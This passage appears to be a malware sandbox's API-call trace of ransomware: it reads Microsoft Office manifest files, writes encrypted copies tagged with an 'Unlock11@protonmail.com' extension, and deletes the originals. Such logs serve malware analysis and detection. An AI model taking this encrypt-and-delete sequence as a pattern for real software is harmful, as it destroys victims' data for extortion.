office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.977] GetFileType (hFile=0x3ac) returned 0x1 [0133.977] GetLastError () returned 0x0 [0133.977] GetCurrentThreadId () returned 0x9b0 [0133.977] GetLastError () returned 0x0 [0133.977] GetFileType (hFile=0x3ac) returned 0x1 [0133.977] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.977] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.977] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.977] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.978] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.978] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.978] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.978] GetLastError () returned 0x0 [0133.978] GetCurrentThreadId () returned 0x9b0 [0133.978] GetLastError () returned 0x0 [0133.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64a8 | out: hHeap=0x2ad0000) returned 1 [0133.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf598 | out: hHeap=0x2ad0000) returned 1 [0133.978] GetCurrentThreadId () returned 0x9b0 [0133.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.978] GetLastError () returned 0x0 [0133.979] GetLastError () returned 0x0 [0133.979] GetCurrentThreadId () returned 0x9b0 [0133.979] GetLastError () returned 0x0 [0133.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0133.979] GetLastError () returned 0x0 [0133.979] GetLastError () returned 0x0 [0133.979] GetCurrentThreadId () returned 0x9b0 [0133.979] GetLastError () returned 0x0 [0133.979] GetLastError () returned 0x0 [0133.981] GetLastError () returned 0x0 [0133.981] GetCurrentThreadId () returned 0x9b0 [0133.982] GetLastError () returned 0x0 [0133.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.982] GetLastError () returned 0x0 [0133.982] GetLastError () returned 0x0 [0133.982] GetLastError () returned 0x0 [0133.982] GetLastError () returned 0x0 [0133.982] GetCurrentThreadId () returned 0x9b0 [0133.983] GetLastError () returned 0x0 [0133.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0133.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.983] GetLastError () returned 0x0 [0133.985] GetLastError () returned 0x0 [0133.985] GetCurrentThreadId () returned 0x9b0 [0133.985] GetLastError () returned 0x0 [0133.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.985] GetCurrentThreadId () returned 0x9b0 [0133.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.986] GetLastError () returned 0x0 [0133.986] GetLastError () returned 0x0 [0133.986] GetCurrentThreadId () returned 0x9b0 [0133.986] GetLastError () returned 0x0 [0133.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6738 [0133.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6688 | out: hHeap=0x2ad0000) returned 1 [0133.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.987] GetLastError () returned 0x0 [0133.987] GetLastError () returned 0x0 [0133.987] GetLastError () returned 0x0 [0133.987] GetLastError () returned 0x0 [0133.988] GetCurrentThreadId () returned 0x9b0 [0133.988] GetLastError () returned 0x0 [0133.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.988] GetLastError () returned 0x0 [0133.989] GetLastError () returned 0x0 [0133.989] GetCurrentThreadId () returned 0x9b0 [0133.989] GetLastError () returned 0x0 [0133.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.990] GetLastError () returned 0x0 [0133.990] GetLastError () returned 0x0 [0133.991] GetCurrentThreadId () returned 0x9b0 [0133.991] GetLastError () returned 0x0 [0133.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.992] GetCurrentThreadId () returned 0x9b0 [0133.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6648 [0133.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6738 | out: hHeap=0x2ad0000) returned 1 [0133.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.992] GetLastError () returned 0x0 [0133.992] GetLastError () returned 0x0 [0133.992] GetLastError () returned 0x0 [0133.992] GetLastError () returned 0x0 [0133.993] GetCurrentThreadId () returned 0x9b0 [0133.993] GetLastError () returned 0x0 [0133.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0133.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0133.993] GetLastError () returned 0x0 [0133.994] GetLastError () returned 0x0 [0133.994] GetCurrentThreadId () returned 0x9b0 [0133.994] GetLastError () returned 0x0 [0133.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.994] GetLastError () returned 0x0 [0133.995] GetLastError () returned 0x0 [0133.996] GetCurrentThreadId () returned 0x9b0 [0133.996] GetLastError () returned 0x0 [0133.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d65c8 [0133.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6648 | out: hHeap=0x2ad0000) returned 1 [0133.996] GetCurrentThreadId () returned 0x9b0 [0133.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.996] GetLastError () returned 0x0 [0133.996] GetLastError () returned 0x0 [0133.997] GetLastError () returned 0x0 [0133.997] GetLastError () returned 0x0 [0133.997] GetCurrentThreadId () returned 0x9b0 [0133.997] GetLastError () returned 0x0 [0133.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0133.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0133.997] GetLastError () returned 0x0 [0133.998] GetLastError () returned 0x0 [0133.998] GetCurrentThreadId () returned 0x9b0 [0133.998] GetLastError () returned 0x0 [0133.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.999] GetLastError () returned 0x0 [0133.999] GetLastError () returned 0x0 [0134.000] GetCurrentThreadId () returned 0x9b0 [0134.000] GetLastError () returned 0x0 [0134.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d65f8 [0134.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65c8 | out: hHeap=0x2ad0000) returned 1 [0134.001] GetCurrentThreadId () returned 0x9b0 [0134.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.001] GetLastError () returned 0x0 [0134.001] GetLastError () returned 0x0 [0134.001] GetLastError () returned 0x0 [0134.001] GetLastError () returned 0x0 [0134.002] GetCurrentThreadId () returned 0x9b0 [0134.002] GetLastError () returned 0x0 [0134.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.002] GetLastError () returned 0x0 [0134.003] GetLastError () returned 0x0 [0134.004] GetCurrentThreadId () returned 0x9b0 [0134.004] GetLastError () returned 0x0 [0134.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.004] GetLastError () returned 0x0 [0134.004] GetLastError () returned 0x0 [0134.005] GetCurrentThreadId () returned 0x9b0 [0134.005] GetLastError () returned 0x0 [0134.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6588 [0134.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65f8 | out: hHeap=0x2ad0000) returned 1 [0134.006] GetCurrentThreadId () returned 0x9b0 [0134.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.006] GetLastError () returned 0x0 [0134.006] GetLastError () returned 0x0 [0134.006] GetLastError () returned 0x0 [0134.006] GetLastError () returned 0x0 [0134.006] GetCurrentThreadId () returned 0x9b0 [0134.006] GetLastError () returned 0x0 [0134.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.007] GetLastError () returned 0x0 [0134.008] GetLastError () returned 0x0 [0134.008] GetCurrentThreadId () returned 0x9b0 [0134.008] GetLastError () returned 0x0 [0134.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.008] GetLastError () returned 0x0 [0134.008] GetLastError () returned 0x0 [0134.008] GetCurrentThreadId () returned 0x9b0 [0134.008] GetLastError () returned 0x0 [0134.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d66e8 [0134.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6588 | out: hHeap=0x2ad0000) returned 1 [0134.009] GetCurrentThreadId () returned 0x9b0 [0134.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.009] GetLastError () returned 0x0 [0134.009] GetLastError () returned 0x0 [0134.009] GetLastError () returned 0x0 [0134.009] GetLastError () returned 0x0 [0134.010] GetCurrentThreadId () returned 0x9b0 [0134.010] GetLastError () returned 0x0 [0134.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0134.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0134.010] GetLastError () returned 0x0 [0134.011] GetLastError () returned 0x0 [0134.011] GetCurrentThreadId () returned 0x9b0 [0134.011] GetLastError () returned 0x0 [0134.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.011] GetLastError () returned 0x0 [0134.012] GetLastError () returned 0x0 [0134.012] GetCurrentThreadId () returned 0x9b0 [0134.012] GetLastError () returned 0x0 [0134.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6668 [0134.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66e8 | out: hHeap=0x2ad0000) returned 1 [0134.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.013] GetCurrentThreadId () returned 0x9b0 [0134.013] GetLastError () returned 0x0 [0134.013] GetLastError () returned 0x0 [0134.013] GetLastError () returned 0x0 [0134.013] GetLastError () returned 0x0 [0134.013] GetCurrentThreadId () returned 0x9b0 [0134.014] GetLastError () returned 0x0 [0134.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0134.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.014] GetLastError () returned 0x0 [0134.015] GetLastError () returned 0x0 [0134.015] GetCurrentThreadId () returned 0x9b0 [0134.015] GetLastError () returned 0x0 [0134.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.015] GetLastError () returned 0x0 [0134.015] GetLastError () returned 0x0 [0134.015] GetCurrentThreadId () returned 0x9b0 [0134.016] GetLastError () returned 0x0 [0134.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6738 [0134.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6668 | out: hHeap=0x2ad0000) returned 1 [0134.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.016] GetCurrentThreadId () returned 0x9b0 [0134.016] GetLastError () returned 0x0 [0134.016] GetLastError () returned 0x0 [0134.017] GetLastError () returned 0x0 [0134.017] GetLastError () returned 0x0 [0134.017] GetCurrentThreadId () returned 0x9b0 [0134.017] GetLastError () returned 0x0 [0134.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0134.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.017] GetLastError () returned 0x0 [0134.019] GetLastError () returned 0x0 [0134.019] GetCurrentThreadId () returned 0x9b0 [0134.019] GetLastError () returned 0x0 [0134.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.019] GetCurrentThreadId () returned 0x9b0 [0134.019] GetCurrentThreadId () returned 0x9b0 [0134.020] GetCurrentThreadId () returned 0x9b0 [0134.021] GetCurrentThreadId () returned 0x9b0 [0134.021] GetCurrentThreadId () returned 0x9b0 [0134.021] GetCurrentThreadId () returned 0x9b0 [0134.021] GetCurrentThreadId () returned 0x9b0 [0134.022] GetCurrentThreadId () returned 0x9b0 [0134.023] GetCurrentThreadId () returned 0x9b0 [0134.023] GetCurrentThreadId () returned 0x9b0 [0134.023] GetCurrentThreadId () returned 0x9b0 [0134.023] GetCurrentThreadId () returned 0x9b0 [0134.024] GetCurrentThreadId () returned 0x9b0 [0134.024] CloseHandle (hObject=0x3ac) returned 1 [0134.024] GetCurrentThreadId () returned 0x9b0 [0134.024] CloseHandle (hObject=0x39c) returned 1 [0134.024] GetCurrentThreadId () returned 0x9b0 [0134.024] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0134.031] GetCurrentThreadId () returned 0x9b0 [0134.031] GetCurrentThreadId () returned 0x9b0 [0134.031] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0134.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0134.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.031] GetCurrentThreadId () returned 0x9b0 [0134.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0134.031] GetCurrentThreadId () returned 0x9b0 [0134.032] GetCurrentThreadId () returned 0x9b0 [0134.032] GetCurrentThreadId () returned 0x9b0 [0134.032] GetCurrentThreadId () returned 0x9b0 [0134.032] GetCurrentThreadId () returned 0x9b0 [0134.032] GetCurrentThreadId () returned 0x9b0 [0134.032] GetCurrentThreadId () returned 0x9b0 [0134.032] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.032] GetCurrentThreadId () returned 0x9b0 [0134.033] GetCurrentThreadId () returned 0x9b0 [0134.033] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b6ec | out: pbBuffer=0x366b6ec) returned 1 [0134.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0134.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0134.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0134.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa08 [0134.033] GetCurrentThreadId () returned 0x9b0 [0134.033] GetCurrentThreadId () returned 0x9b0 [0134.033] GetCurrentThreadId () returned 0x9b0 [0134.033] GetCurrentThreadId () returned 0x9b0 [0134.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea878 | out: hHeap=0x2ad0000) returned 1 [0134.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d65b8 [0134.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4720 | out: hHeap=0x2ad0000) returned 1 [0134.034] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.034] GetFileType (hFile=0x39c) returned 0x1 [0134.034] GetCurrentThreadId () returned 0x9b0 [0134.034] GetFileType (hFile=0x39c) returned 0x1 [0134.034] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.034] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.034] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.034] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.035] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.035] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.035] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.035] GetLastError () returned 0x0 [0134.035] GetCurrentThreadId () returned 0x9b0 [0134.035] GetLastError () returned 0x0 [0134.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6668 | out: hHeap=0x2ad0000) returned 1 [0134.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0134.035] GetLastError () returned 0x0 [0134.035] GetLastError () returned 0x0 [0134.035] GetLastError () returned 0x0 [0134.035] GetLastError () returned 0x0 [0134.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0134.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d65c8 [0134.036] GetLastError () returned 0x0 [0134.036] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.036] GetFileType (hFile=0x3ac) returned 0x1 [0134.037] GetLastError () returned 0x0 [0134.037] GetCurrentThreadId () returned 0x9b0 [0134.037] GetLastError () returned 0x0 [0134.037] GetFileType (hFile=0x3ac) returned 0x1 [0134.037] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.037] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.037] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.037] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.037] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.037] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.037] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.037] GetLastError () returned 0x0 [0134.038] GetCurrentThreadId () returned 0x9b0 [0134.038] GetLastError () returned 0x0 [0134.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65c8 | out: hHeap=0x2ad0000) returned 1 [0134.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfa18 | out: hHeap=0x2ad0000) returned 1 [0134.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0134.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0134.038] GetLastError () returned 0x0 [0134.038] GetLastError () returned 0x0 [0134.038] GetCurrentThreadId () returned 0x9b0 [0134.038] GetLastError () returned 0x0 [0134.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0134.038] GetLastError () returned 0x0 [0134.039] GetLastError () returned 0x0 [0134.039] GetCurrentThreadId () returned 0x9b0 [0134.039] GetLastError () returned 0x0 [0134.039] GetLastError () returned 0x0 [0134.040] GetLastError () returned 0x0 [0134.040] GetCurrentThreadId () returned 0x9b0 [0134.040] GetLastError () returned 0x0 [0134.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x3829e48 [0134.041] GetCurrentThreadId () returned 0x9b0 [0134.041] GetLastError () returned 0x0 [0134.041] GetLastError () returned 0x0 [0134.041] GetLastError () returned 0x0 [0134.041] GetLastError () returned 0x0 [0134.041] GetCurrentThreadId () returned 0x9b0 [0134.041] GetLastError () returned 0x0 [0134.042] HeapFree (in: hHeap=0x2ad0000, 